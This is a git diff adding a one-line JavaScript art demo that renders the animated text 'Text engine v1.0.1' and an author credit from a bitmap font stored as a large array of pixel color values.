b/files/jsart/demos/text-engine.txt new file mode 100644 index 0000000..53f99f6 --- /dev/null +++ b/files/jsart/demos/text-engine.txt @@ -0,0 +1 @@ +(()=>{ let txt = text("Text engine v1.0.1",0,90+Math.floor(Math.cos((x+(t/10))/(k ? k/4 : 20))*10),1)+text("by "+(k ? Math.floor(Math.random()*parseInt(10000000,36)).toString(36) : "@Ponali"),0,140,1); return ( txt ? txt : ( k ? (k*y-c+t)*255 : y ) ); function text(txt,ox,oy,al){ ox+=(sw-(txt.length*12))/(2/al); let render = tx((((x-ox)%12)+Math.floor((txt.charCodeAt((x-ox)/12))*12)),Math.floor(((y-oy)/12)*192)); if(y>oy&&x>ox&&y<((12*(26/12))+oy)&&x<((12*txt.length)+ox)){ return render; } else {return 0} } function tx(sx,sy){ let data = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,58,6731483,14408667,14399120,6699520,0,3838171,16777179,9452032,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,0,14906,6710842,3801088,0,58,3827302,3815936,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14408667,14399120,6699520,0,3838171,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,6710886,6699520,0,0,3827344,11974288,6699520,0,0,0,0,58,3801088,0,0,0,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,14906,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16767963,16777215,16777179,9452032,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,26294,16777179,11953664,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,14950,11993087,16777215,16777179,9452032,0,0,0,0,0,102,11993087,16777215,16758374,0,6731519,16777215,16767888,3801088,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16767963,16777215,16777179,9452032,0,0,0,14950,11993087,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777215,14399078,0,0,0,0,0,0,26294,16777215,16777215,16777215,16767963,11964518,9484031,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,102,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0